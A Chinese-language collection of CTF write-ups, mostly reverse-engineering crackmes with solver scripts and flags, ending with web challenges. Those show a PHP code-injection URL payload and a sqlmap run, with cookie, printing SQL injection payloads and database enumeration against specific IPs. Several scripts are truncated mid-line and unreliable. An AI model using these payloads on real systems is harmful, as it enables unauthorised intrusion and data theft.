Question1 warmup——simple check_0
将文件解压至文件夹,对其中的classes.dex使用dex2jar-2.0工具进行反编译。
使用命令:./d2j-dex2jar.bat classes.dex --force to overwrite
使用工具jd-gui-windows-1.4.0查看生成的classes-dex2jar.jar。定位关键函数。
发现可以通过爆破的方法获取flag,于是爆破。
package com.ctf;
public class a
{
private static int[] a = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312 };
private static int[] b = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
private static int[] c = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666 };
private static int[] d = { 0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562 };
public static void main(String[] args)
{
int[] arrayOfInt = new int[a.length];
arrayOfInt[0] = 0;
for (int i=0;i
flag即为flag{MAth_i&_GOOd_DON7_90V_7hInK?}
Question2 warmup——re0_0
查信息,64位ELF文件,使用IDAx64打开。
发现关键函数,judge。
尝试反编译发现代码被加密,无法直接反编译。
之后猜测上方代码为解密代码。
于是有两种解密方式。第一种,使用脚本对代码解密。第二种,使用远程调试修复代码。第一种的脚本代码如下所示。
judge=0x600B00
for i in range(182):
addr=0x600B00+i
byte=get_bytes(addr,1)
byte=ord(byte)^0xC
patch_byte(addr,byte)
这是由于IDA对函数尾判断错误,需要手动修复,同时为了代码可读性,取消函数定义后重新建立函数。
F5反编译后得到伪代码如下
signed __int64 __fastcall judge(__int64 a1)
{
char v2; // [rsp+8h] [rbp-20h]
char v3; // [rsp+9h] [rbp-1Fh]
char v4; // [rsp+Ah] [rbp-1Eh]
char v5; // [rsp+Bh] [rbp-1Dh]
char v6; // [rsp+Ch] [rbp-1Ch]
char v7; // [rsp+Dh] [rbp-1Bh]
char v8; // [rsp+Eh] [rbp-1Ah]
char v9; // [rsp+Fh] [rbp-19h]
char v10; // [rsp+10h] [rbp-18h]
char v11; // [rsp+11h] [rbp-17h]
char v12; // [rsp+12h] [rbp-16h]
char v13; // [rsp+13h] [rbp-15h]
char v14; // [rsp+14h] [rbp-14h]
char v15; // [rsp+15h] [rbp-13h]
int i; // [rsp+24h] [rbp-4h]
v2 = 102;
v3 = 109;
v4 = 99;
v5 = 100;
v6 = 127;
v7 = 107;
v8 = 55;
v9 = 100;
v10 = 59;
v11 = 86;
v12 = 96;
v13 = 59;
v14 = 110;
v15 = 112;
for ( i = 0; i <= 13; ++i )
*(_BYTE *)(i + a1) ^= i;
for ( i = 0; i <= 13; ++i )
{
if ( *(_BYTE *)(i + a1) != *(&v2 + i) )
return 0LL;
}
return 1LL;
}
现在给出第二种解密方式,将IDA安装目录下的dbgsrv\linux_server64
拷贝至Linux虚拟机,将题目文件一同拷入。记住题目文件位置,在虚拟机运行linux_server64
。
之后将IDA的调试器选择至远程调试器Remote Linux debugger
,点击开始调试,填写有关信息。
发现加密的代码段已经被解密,直接使用F5反编译分析即可。
写出解密脚本即可得到flag。
#include
using namespace std;
int main()
{
string flag_enc="fmcd\x7fk7d;V\x60;np";
string flag="";
for(int i=0;i
flag即为flag{n1c3_j0b}
Question3 warmup——re1_0
查信息,32位PE文件,无壳。
本地尝试运行,发现是有GUI的程序。
猜测注册码即为flag,随意填入字符串,发现弹窗显示注册码错误。
使用IDA载入程序,查询是什么调用了MessageBoxA函数。发现了两处调用,分别查看。
猜测这两个函数均为解密代码的函数。于是查询他们的夫函数。
发现他们的夫函数需要手动建立函数,于是建立,发现
进而发现用于flag比对的函数
装入OD中,在判断函数下断点,获取flag
flag即为flag{The-Y3ll0w-turb4ns-Upri$ing}
Question4 warmup——Evr_1
查信息,32位PE程序,无壳。
尝试运行,发现当有调试时,程序会打印warning随即退出,看来是有反调试技术。
静态调试发现main函数调用了main_0函数,反编译main_0函数时,发现sp指针不平衡。尝试修复。
进入Options->General->Disassembly,勾选Stack pointer。
可以看到堆栈信息被显示了。接下来用alt+K修复sp指针。每次改至与Current SP value相同。用F5尝试,多次改动后,修复成功。
发现反编译后的函数名很混乱,尝试规整重命名。
发现了flag加密函数,依次写出解密脚本。
#include
using namespace std;
int main()
{
unsigned char byte_16B0DC[35] = {
0x1E, 0x15, 0x02, 0x10, 0x0D, 0x48, 0x48, 0x6F, 0xDD, 0xDD, 0x48, 0x64, 0x63, 0xD7, 0x2E, 0x2C,
0xFE, 0x6A, 0x6D, 0x2A, 0xF2, 0x6F, 0x9A, 0x4D, 0x8B, 0x4B, 0x0A, 0x8A, 0x4F, 0x45, 0x17, 0x46,
0x4F, 0x14, 0x0B};
string flag;
int offset=0;
for(int i=0;i<7;i++)
flag[i+offset]=char(byte_16B0DC[i+offset]^0x76);
offset+=7;
for(int i=0;i<7;i++)
for(int j=0x20;j<0x7f;j++)
{
int temp=j;
temp=temp^0x76^0xad;
temp=((2*temp)&0xff)&0xaa|(0xff&((temp&0xaa)>>1));
if(temp==byte_16B0DC[offset+i]) {flag[i+offset]=char(j);break;}
}
offset+=7;
for(int i=0;i<7;i++)
for(int j=0x20;j<0x7f;j++)
{
int temp=j;
temp=temp^0x76^0xbe;
temp=((4*temp)&0xff)&0xcc|(0xff&((temp&0xcc)>>2));
if(temp==byte_16B0DC[offset+i]) {flag[i+offset]=char(j);break;}
}
offset+=7;
for(int i=0;i<7;i++)
for(int j=0x20;j<0x7f;j++)
{
int temp=j;
temp=temp^0x76^0xef;
temp=((16*temp)&0xff)&0xf0|(0xff&((temp&0xf0)>>4));
if(temp==byte_16B0DC[offset+i]) {flag[i+offset]=char(j);break;}
}
offset+=7;
for(int i=0;i<7;i++)
flag[i+offset]=char(byte_16B0DC[i+offset]^0x76);
for(int i=0;i<35;i++)
cout<
运行即可得flag
flag即为hctf{>>D55_CH0CK3R_B0o0M!-9193a09b}
PS.老师提供的符号执行思路代码如下
#!/usr/bin/env python
# coding: utf-8
import angr
import claripy
import logging
from angr.procedures.stubs.UserHook import UserHook
logging.getLogger('angr.path_group').setLevel(logging.DEBUG)
logging.getLogger('angr.surveyors.explorer').setLevel(logging.DEBUG)
p = angr.Project('./Evr.exe', load_options={'auto_load_libs': False})
def ptrace(state):
state.regs.eax = 0
st = p.factory.blank_state(addr=0x412F29)
st.regs.ebp = 0xfd800000
st.regs.esp = 0xfe800000
code = claripy.BVS('code', 35*8)
st.memory.store(0x41b4f0, code)
p.hook(0x412F5C, UserHook(user_func=ptrace, length=5))
p.hook(0x412FEF, UserHook(user_func=ptrace, length=5))
p.hook(0x413082, UserHook(user_func=ptrace, length=5))
sm = p.factory.simgr(st)
sm.explore(find=0x4127A6, avoid=0x41279C)
found = sm.found[0]
for i in code.chop(8):
found.add_constraints(i >= 0x20)
found.add_constraints(i <= 0x7f)
print(found.se.eval(code, cast_to=str))
直接运行同样可得flag。
Question5 warmup——re2_1
查信息,32位PE程序,无壳。
拖进IDA,定位main函数,F5反编译并将部分函数重命名。
发现check_flag函数,进入发现逻辑异常,于是把程序载入OD,在result处(0x401240)下断点,输入任意19位字符串。发现输入的19个1被改变了。
那么一定是调用了令字符串改变的函数,于是在scanf处下断点,跟进。
发现在一个函数内字符串被改变了。
查看IDA中该函数的处理逻辑
写出解密脚本即可,解密脚本如下:
#include
using namespace std;
unsigned char byte_40A030[20] = {
0x61, 0x6A, 0x79, 0x67, 0x6B, 0x46, 0x6D, 0x2E, 0x7F, 0x5F, 0x7E, 0x2D, 0x53, 0x56, 0x7B, 0x38,
0x6D, 0x4C, 0x6E, 0x00
};
int main()
{
string input="&&&&&&&&&&&&&&&&&&&";
int length = 19;
int al=0; // al
int bl; // bl
int cl; // cl
int v5; // eax
for(int i=18;i>=0;--i)
{
int temp;
if (i==18)
input[i] = 0x13 ^ byte_40A030[i];
else
{
temp = i^byte_40A030[i];
if (i%2)
input[i] = temp + i;
else
input[i+2] = temp;
}
}
for(int i=0;i<19;i++)
{
//cout<
所以,flag为flag{Ho0k_w1th_Fun}
Question6 warmup——hide_1(未解出)
查信息,64位ELF程序,UPX3.91壳。
由于程序运行后就已经脱壳,那么运行程序后,利用dd命令从内存中拖取内存映像即为脱壳后文件。
若要使用GDB调试,需要载入后下catch断点catch syscall ptrace
,后修改寄存器的值以绕过反调试。
用IDA载入脱壳后的文件,找到main函数,F5反编译发现flag_check函数
然后就发现了藏在里面的假flag
通过对字符串交叉引用的查看发现了“Enter the flag:”
有两处调用。
查看第二次调用,发现了隐藏起来的函数。
手动建立函数,F5反编译发现代码过短
发现有不可达代码,IDA不予分析,于是修改函数起点。
发现可以正常反编译。
发现加密函数
Question7 regular2——magic_2
查信息,PE+64程序,无壳。
本地尝试运行,发现运行时会回显
用IDA载入,发现IDA对于函数的调用约定存在问题,发现IDA使用的是GNU C++
和Cdecl
进行编译的。
将其改为Visual C++
与Fastcall
,发现调用约定恢复正常。
F5反编译main函数,在main函数起始位置下断点。发现当断点生效时字符串已经被打印,那么,说明一定有main函数以前的判断函数被执行了。
接下来利用Trace功能监控是什么调用了字符打印函数,利用交叉引用发现4011B0函数调用了main函数。
那么将断点下在4011B0函数的位置,启动调试,点击 Debugger->Tracing->Function Tracing,点击F9使得程序继续运行,程序中断在 main 函数处, 点击 Debugger->Tracing->Trace Window 打开 Trace 窗口, 内容如下
发现402218函数调用了put函数打印了字符串,402357函数又调用了402218函数。
那么查看402357函数的反编译代码,猜测sub_402268为时间检测的关键函数,反编译sub_402268,并将其内部函数整理重命名。
接下来整理text_check函数
接下来我们可以根据sub_4026D0写出时间戳爆破脚本
#include
#include
typedef struct graph_node {
char value;
int sum,route;
} gNode;
gNode* getNode(gNode* g,int index) {
if (index<0 || index>=256) {
return NULL;
}
return &g[index];
}
void updateNode(gNode* g,int index) {
gNode* node = getNode(g,index);
if (node == NULL){
return;
}
gNode* left = index%16==0?NULL:getNode(g,index-1);
gNode* up = index/16==0?NULL:getNode(g,index-16);
if (left == NULL && up == NULL) {
node->sum = node->value;
}else {
if (left!=NULL) {
node->sum = left->sum + node->value;
node->route = (left->route<<1)&0xfffffffe;
}
if (up!=NULL) {
int sum = up->sum + node->value;
if (node->sum>sum) {
node->sum=sum;
node->route = (up->route<<1)|1;
}
}
}
}
void evaluate(char* p,int* min,int * route) {
gNode G[256] = {0};
for(int i = 0; i < 256; i++)
{
G[i].value = p[i];
G[i].sum = __INT32_MAX__;
G[i].route = 0;
updateNode(G,i);
}
*min = G[255].sum;
*route = G[255].route;
}
int main() {
for(int now = 1526720400; now < 1526893200; now++ ) {
char flag1[256] ={0x58,0x71,0x8f,0x32,0x05,0x06,0x51,0xc7,0xa7,0xf8,0x3a,0xe1,0x06,0x48,0x82,0x09,0xa1,0x12,0x9f,0x7c,0xb8,0x2a,0x6f,0x95,0xfd,0xd0,0x67,0xc8,0xe3,0xce,0xab,0x12,0x1f,0x98,0x6b,0x14,0xea,0x89,0x90,0x21,0x2d,0xfd,0x9a,0xbb,0x47,0xcc,0xea,0x9c,0xd7,0x50,0x27,0xaf,0xb9,0x77,0xdf,0xc5,0xe9,0xe1,0x50,0xd3,0x38,0x89,0xef,0x2d,0x72,0xc2,0xdf,0xf3,0x7d,0x7d,0x65,0x95,0xed,0x13,0x00,0x1c,0xa3,0x3c,0xe3,0x57,0xe3,0xf7,0xf7,0x2c,0x73,0x88,0x34,0xb1,0x62,0xd3,0x37,0x19,0x26,0xbe,0xb2,0x33,0x20,0x3f,0x60,0x39,0x87,0xa6,0x65,0xad,0x73,0x1a,0x6d,0x49,0x33,0x49,0xc0,0x56,0x00,0xbe,0x0a,0xcf,0x28,0x7e,0x8e,0x69,0x87,0xe1,0x05,0x88,0xda,0x54,0x3e,0x3c,0x0e,0xa9,0xfa,0xd7,0x7f,0x4e,0x44,0xc6,0x9a,0x0a,0xd2,0x98,0x6a,0xa4,0x19,0x6d,0x8c,0xe1,0xf9,0x30,0xe5,0xff,0x33,0x4a,0xa9,0x52,0x3a,0x0d,0x67,0x20,0x1d,0xbf,0x36,0x3e,0xe8,0x56,0xbf,0x5a,0x88,0xa8,0x69,0xd6,0xab,0x52,0xf1,0x14,0xf2,0xd7,0xef,0x92,0xf7,0xa0,0x70,0xa1,0xef,0xe3,0x1f,0x66,0x2b,0x97,0xf6,0x2b,0x30,0x0f,0xb0,0xb4,0xc0,0xfe,0xa6,0x62,0xfd,0xe6,0x4c,0x39,0xcf,0x20,0xb3,0x10,0x60,0x9f,0x34,0xbe,0xb2,0x1c,0x3b,0x6b,0x1d,0xdf,0x53,0x72,0xf2,0xfa,0xb1,0x51,0x82,0x04,0x30,0x56,0x1f,0x37,0x72,0x7a,0x97,0x50,0x29,0x86,0x4a,0x09,0x3c,0x59,0xc4,0x41,0x71,0xf8,0x1a,0xd2,0x30,0x88,0x63,0xff,0x85,0xde,0x24,0x8c,0xc3,0x37,0x14,0xc7};
srand(now);
for(int i = 0; i < 256; i++)
flag1[i]^=rand()%256;
int min = 0,route = 0;
evaluate(flag1,&min,&route);
if (min == 0x700) {
printf("magic time = %d, rc4 key = 0x%08x\n", now, route);
return 0;
}
}
printf("failed\n");
return -1;
}
patch部分代码越过时间戳验证。使用(Edit->Patch Program->Apply patchs to input file 即可生效)
运行验证
下断点单步调试跟随,发现函数sub_4023B1,
这个函数是RC4算法+虚拟机(setjmp + longjmp 机制 )在查阅文档后可以爆破得出虚拟机指令集,写出解密脚本。
#include
using namespace std;
int main()
{
char key[] = {
0x63,0xEF,0xD5,0xA2,0x63,0xB8,0x17,0xAB,0xD0,0xC6,0xD8,0x50,0xD1,0x46,0x97,0xDF,
0xC4,0x51,0x01,0xE0,0x45,0x78,0xD8,0x5F,0xC4,0xD8 };
char cmpStr[] = {
0x89,0xC1,0xEC,0x50,0x97,0x3A,0x57,0x59,0xE4,0xE6,0xE4,0x42,0xCB,0xD9,0x08,0x22,
0xAE,0x9D,0x7C,0x07,0x80,0x8F,0x1B,0x45,0x04,0xE8 };
unsigned char tmp;
for (int i = 0; i < 26; i++)
{
if (i%2 == 0) tmp = cmpStr[i] ^ 0x66;
else tmp = cmpStr[i] ^ 0x99;
tmp = tmp & 0xff;
tmp = (tmp - 0xCC) &0xff;
tmp = tmp ^ key[i];
printf("%c", tmp);
}
printf("\n");
return 0;
}
得到一部分flag@ck_For_fun_02508iO2_2iOR}
输入可得另外一部分flag,拼接即可得完整flag。
flag即为rctf{h@ck_For_fun_02508iO2_2iOR}
Question8 APK——com.j.crackme.apk
把程序拖进JEB分析。使用Q反编译。
发现check函数,但是并没有发现check函数的源码,这时发现onCreate函数调用了a函数
a函数随后释放了文件plugin.jar
那么怀疑check函数逻辑应在plugin.jar中,那么利用模拟器,在程序运行时提取该plugin.jar,解压该jar文件得到class.dex文件,接下来反编译该class.dex文件得到check函数逻辑。
写出密文解密脚本,其中,base64解密操作脚本如下
# -*- coding: utf-8 -*-
import base64
def b32e(data):
encode = base64.b32encode(data)
return encode
def b32d(data):
encode = base64.b32decode(data)
return encode
def b16e(data):
encode = base64.b16encode(data)
return encode
def b16d(data):
decode = base64.b16decode(data)
return decode
def b64d(data):
decode = base64.b64decode(data)
return decode
#print(b64d("+sfQ39PX3eGOzOGNyt/Kj90="))
print(b64d("+sfQ39PX3eGOzOGNyt/Kj90=").encode('hex'))
解密结果
最终脚本如下
#include
using namespace std;
unsigned char byte_40A030[17] = {0xfa,0xc7,0xd0,0xdf,0xd3,0xd7,0xdd,0xe1,0x8e,0xcc,0xe1,0x8d,0xca,0xdf,0xca,0x8f,0xdd};
int main()
{
string input="&&&&&&&&&&&&&&&&&";
for(int i=0;i<17;++i)
input[i]=byte_40A030[i] ^ 0xBE;
for(int i=0;i<17;i++)
{
//cout<
flag即为flag{Dynamic_0r_3tat1c}
Question9 irregular——apl_2
⎕IO←0⋄'BIE°?½>IL½E.!!
通过查阅文档可知APL语言的判断机制如下
//这是C语言中的做法
'a' = 'b' --> 0 //False
'a' = 'a' --> 1 //True
//但是若是在数组中返回会有些变化
'abcd' = 'agcf' --> 1 0 1 0
//这是APL语言中的写法
'abcd' {∧ / ⍺ = ⍵} 'agcf' --> 0
'abcd' {∧ / ⍺ = ⍵} 'abcd' --> 1
//并且,复杂些的,C语言中的写法示例
'abcd' = 'abcd' ? 'equal','not equal';--> 'equal'
//对应的APL语言即为
'abcd' { {⍵ (~⍵)/'equal' 'not equal'} ∧ / ⍺ = ⍵} 'abcd' --> 'equal'
//在本题中,使用了相对更加复杂的做法
'abcd' {+/⍺=⍵} 'agcf' --> 2
'abcd' {(+/⍺=⍵)=⍴⍺} 'abcd' --> 0
'abcd' {(+/⍺=⍵)=⍴⍺} 'abcd' --> 1
因此,原APL程序源码可翻译为
enc_flag ← 'BIE°?½>IL½E.!!
根据APL语言自右向左的特性,接下来让我们分析challenge
8↑(0,a←(8⍴2)⊤⍵)其中,⍵作为形式参数代表我们的输入
UCS会将字符串转为ASCII的十进制数组
⌽可以翻转字符串
8⍴2 -> 2 2 2 2 2 2 2 2
//以下认为⍵=123
(8⍴2)⊤⍵ -> 0 1 1 1 1 0 1 1 //加密
(0,a←(8⍴2)⊤⍵) -> 0 0 1 1 1 1 0 1 1 //赋值给a,并在前端补一个0
8↑(0,a←(8⍴2)⊤⍵) -> 0 0 1 1 1 1 0 1 //取前八个元素
{a≠8↑(0,a←(8⍴2)⊤⍵)} -> 0 1 0 0 0 1 1 0 //≠代表异或(这是什么鬼。。。。。)
那么,其实{a≠8↑(0,a←(8⍴2)⊤⍵)}实现的是f(x) = x ^ (x >> 1)
接着分析,
∊{a≠8↑(0,a←(8⍴2)⊤⍵)}中的∊会将刚刚生成的八位数字整合为比特数组
11 24⍴∊{a≠8↑(0,a←(8⍴2)⊤⍵)}中的11 24⍴会将刚刚生成的比特数组排列为为11×24矩阵
(-⌊(⍴'f0xtr0t')÷2)⌽⍉11 24⍴∊{a≠8↑(0,a←(8⍴2)⊤⍵)}¨⌽⎕UCS ⍵}中的(-⌊(⍴'f0xtr0t')÷2)⌽⍉表示将刚刚生成的矩阵转置后用(-⌊(⍴'f0xtr0t')÷2)旋转。
那么我们接下来分析(-⌊(⍴'f0xtr0t')÷2)
⍴'f0xtr0t'表示返回长度7
(⍴'f0xtr0t')÷2表示7/2=3.5
⌊(⍴'f0xtr0t')÷2表示向下取整得3
(-⌊(⍴'f0xtr0t')÷2) -> -3
那么,容易得到
7⌽⍉(-⌊(⍴'f0xtr0t')÷2)⌽⍉11 24⍴∊{a≠8↑(0,a←(8⍴2)⊤⍵)}会把11 24⍴∊{a≠8↑(0,a←(8⍴2)⊤⍵)}生成的矩阵转置后用-3旋转再转置后用7旋转。我们接下来设生成了@
接下来
/33 8⍴(8×⍴⍵)⍴@会将其重构为33x8的矩阵
最后一部分分析需要引入以下概念
{+/⍵/⌽2*⍳⍴⍵}可以认为是解密函数。
{+/⍵/⌽2*⍳⍴⍵} 0 1 1 1 1 0 1 1 -> 123
123 ⊥ 0 1 1 1 1 0 1 1 -> 123
那么
{⎕UCS 13+{+/⍵/⌽2*⍳⍴⍵}¨,/33 8⍴(8×⍴⍵)⍴7⌽⍉(-⌊(⍴'f0xtr0t')÷2)⌽⍉11 24⍴∊{a≠8↑(0,a←(8⍴2)⊤⍵)}¨⌽⎕UCS ⍵}即会执行以下步骤。你的输入会
1.被转换为相应ASCII十进制数的数组。
2.反转数组。
3.将每个值转换为8位数组并应用于x^(x>>1)每个值。
4.重塑为11×24矩阵。
5.移调并旋转-3。
6.移调并旋转7。
7.重塑为33乘8的矩阵。
8.转换回十进制。加13。
9.转换回“ASCII”(实际上,APL默认使用Unicode)。
写出解密脚本,仍将使用APL编写,一步步写出
//我们的密文
enc_flag -> BIE°?½>IL½E.!! 66 73 69 176 63 189 62 73 76 189 69 46 33 33 60 69 33 58 69 56 52 165 184 178 69 50 51 197 56 187 57 54 56
//减去13
{¯13+⎕UCS ⍵} enc_flag -> 53 60 56 163 50 176 49 60 63 176 56 33 20 20 47 56 20 45 56 43 39 152 171 165 56 37 38 184 43 174 44 41 43
//转换为八位十进制数组
{bin¨ ¯13+⎕UCS ⍵} enc_flag
//重塑为11×24矩阵
{11 24⍴∊bin¨ ¯13+⎕UCS ⍵} enc_flag
//移调并旋转-7
{⍉¯7⌽11 24⍴∊bin¨ ¯13+⎕UCS ⍵} enc_flag
//移调并旋转3
{⍉3⌽⍉¯7⌽11 24⍴∊bin¨ ¯13+⎕UCS ⍵} enc_flag
//重塑为33×8矩阵
{33 8⍴(8×⍴⍵)⍴⍉3⌽⍉¯7⌽11 24⍴∊bin¨ ¯13+⎕UCS ⍵} enc_flag
//用2解密
{2⊥¨,/33 8⍴(8×⍴⍵)⍴⍉3⌽⍉¯7⌽11 24⍴∊bin¨ ¯13+⎕UCS ⍵} enc_flag
最终payload即为
{2⊥¨,/33 8⍴(8×⍴⍵)⍴⍉3⌽⍉¯7⌽11 24⍴∊bin¨ ¯13+⎕UCS ⍵} BIE°?½>IL½E.!!
解码即可得flagPCTF{APL_code_is_we!rd_t0_l00k_@}
Question10 排位赛—Web—makeit
打开页面发现存在
明显存在文件包含漏洞,查看源码发现hint。
访问http://202.112.51.184:15080/?page=flag
,发现页面为空
怀疑存在任意代码执行漏洞,测试http://202.112.51.184:15080/?page=flag%27.phpinfo().%27
于是尝试在后面加system函数,发现成功执行
那么一步步找到flag的所在地
Question11 排位赛—Web—bbsqli
使用sqlmap即可,参数为python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --table --level 2
运行效果如下(第一次跑可能会报链接错误,放心按回车就好)
PS C:\Users\lenovo> python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --table --level 2
___
__H__
___ ___[.]_____ ___ ___ {1.2.8.5#dev}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:46:59
[00:47:00] [INFO] resuming back-end DBMS 'mysql'
[00:47:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: PHPSESSID (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' AND 5589=5589 AND 'oRXJ'='oRXJ
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' UNION ALL SELECT NULL,CONCAT(0x716a707671,0x534a7a4242474c735277454857546b686f43626d4a51514844686850434e7557714c736f7570554d,0x71786b6b71)-- qGOJ
---
[00:47:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25, PHP 7.0.31
back-end DBMS: MySQL 5
[00:47:01] [INFO] fetching database names
[00:47:01] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli, sys'
Database: sys
[101 tables]
+------------------------------------------------------+
| session |
| version |
| host_summary |
| host_summary_by_file_io |
| host_summary_by_file_io_type |
| host_summary_by_stages |
| host_summary_by_statement_latency |
| host_summary_by_statement_type |
| innodb_buffer_stats_by_schema |
| innodb_buffer_stats_by_table |
| innodb_lock_waits |
| io_by_thread_by_latency |
| io_global_by_file_by_bytes |
| io_global_by_file_by_latency |
| io_global_by_wait_by_bytes |
| io_global_by_wait_by_latency |
| latest_file_io |
| memory_by_host_by_current_bytes |
| memory_by_thread_by_current_bytes |
| memory_by_user_by_current_bytes |
| memory_global_by_current_bytes |
| memory_global_total |
| metrics |
| processlist |
| ps_check_lost_instrumentation |
| schema_auto_increment_columns |
| schema_index_statistics |
| schema_object_overview |
| schema_redundant_indexes |
| schema_table_lock_waits |
| schema_table_statistics |
| schema_table_statistics_with_buffer |
| schema_tables_with_full_table_scans |
| schema_unused_indexes |
| session_ssl_status |
| statement_analysis |
| statements_with_errors_or_warnings |
| statements_with_full_table_scans |
| statements_with_runtimes_in_95th_percentile |
| statements_with_sorting |
| statements_with_temp_tables |
| sys_config |
| user_summary |
| user_summary_by_file_io |
| user_summary_by_file_io_type |
| user_summary_by_stages |
| user_summary_by_statement_latency |
| user_summary_by_statement_type |
| wait_classes_global_by_avg_latency |
| wait_classes_global_by_latency |
| waits_by_host_by_latency |
| waits_by_user_by_latency |
| waits_global_by_latency |
| x$host_summary |
| x$host_summary_by_file_io |
| x$host_summary_by_file_io_type |
| x$host_summary_by_stages |
| x$host_summary_by_statement_latency |
| x$host_summary_by_statement_type |
| x$innodb_buffer_stats_by_schema |
| x$innodb_buffer_stats_by_table |
| x$innodb_lock_waits |
| x$io_by_thread_by_latency |
| x$io_global_by_file_by_bytes |
| x$io_global_by_file_by_latency |
| x$io_global_by_wait_by_bytes |
| x$io_global_by_wait_by_latency |
| x$latest_file_io |
| x$memory_by_host_by_current_bytes |
| x$memory_by_thread_by_current_bytes |
| x$memory_by_user_by_current_bytes |
| x$memory_global_by_current_bytes |
| x$memory_global_total |
| x$processlist |
| x$ps_digest_95th_percentile_by_avg_us |
| x$ps_digest_avg_latency_distribution |
| x$ps_schema_table_statistics_io |
| x$schema_flattened_keys |
| x$schema_index_statistics |
| x$schema_table_lock_waits |
| x$schema_table_statistics |
| x$schema_table_statistics_with_buffer |
| x$schema_tables_with_full_table_scans |
| x$session |
| x$statement_analysis |
| x$statements_with_errors_or_warnings |
| x$statements_with_full_table_scans |
| x$statements_with_runtimes_in_95th_percentile |
| x$statements_with_sorting |
| x$statements_with_temp_tables |
| x$user_summary |
| x$user_summary_by_file_io |
| x$user_summary_by_file_io_type |
| x$user_summary_by_stages |
| x$user_summary_by_statement_latency |
| x$user_summary_by_statement_type |
| x$wait_classes_global_by_avg_latency |
| x$wait_classes_global_by_latency |
| x$waits_by_host_by_latency |
| x$waits_by_user_by_latency |
| x$waits_global_by_latency |
+------------------------------------------------------+
Database: sqli
[2 tables]
+------------------------------------------------------+
| [GDJM_flag] |
| secrets |
+------------------------------------------------------+
Database: performance_schema
[87 tables]
+------------------------------------------------------+
| accounts |
| cond_instances |
| events_stages_current |
| events_stages_history |
| events_stages_history_long |
| events_stages_summary_by_account_by_event_name |
| events_stages_summary_by_host_by_event_name |
| events_stages_summary_by_thread_by_event_name |
| events_stages_summary_by_user_by_event_name |
| events_stages_summary_global_by_event_name |
| events_statements_current |
| events_statements_history |
| events_statements_history_long |
| events_statements_summary_by_account_by_event_name |
| events_statements_summary_by_digest |
| events_statements_summary_by_host_by_event_name |
| events_statements_summary_by_program |
| events_statements_summary_by_thread_by_event_name |
| events_statements_summary_by_user_by_event_name |
| events_statements_summary_global_by_event_name |
| events_transactions_current |
| events_transactions_history |
| events_transactions_history_long |
| events_transactions_summary_by_account_by_event_name |
| events_transactions_summary_by_host_by_event_name |
| events_transactions_summary_by_thread_by_event_name |
| events_transactions_summary_by_user_by_event_name |
| events_transactions_summary_global_by_event_name |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_account_by_event_name |
| events_waits_summary_by_host_by_event_name |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_by_user_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| global_status |
| global_variables |
| host_cache |
| hosts |
| memory_summary_by_account_by_event_name |
| memory_summary_by_host_by_event_name |
| memory_summary_by_thread_by_event_name |
| memory_summary_by_user_by_event_name |
| memory_summary_global_by_event_name |
| metadata_locks |
| mutex_instances |
| objects_summary_global_by_type |
| performance_timers |
| prepared_statements_instances |
| replication_applier_configuration |
| replication_applier_status |
| replication_applier_status_by_coordinator |
| replication_applier_status_by_worker |
| replication_connection_configuration |
| replication_connection_status |
| replication_group_member_stats |
| replication_group_members |
| rwlock_instances |
| session_account_connect_attrs |
| session_connect_attrs |
| session_status |
| session_variables |
| setup_actors |
| setup_consumers |
| setup_instruments |
| setup_objects |
| setup_timers |
| socket_instances |
| socket_summary_by_event_name |
| socket_summary_by_instance |
| status_by_account |
| status_by_host |
| status_by_thread |
| status_by_user |
| table_handles |
| table_io_waits_summary_by_index_usage |
| table_io_waits_summary_by_table |
| table_lock_waits_summary_by_table |
| threads |
| user_variables_by_thread |
| users |
| variables_by_thread |
+------------------------------------------------------+
Database: information_schema
[61 tables]
+------------------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
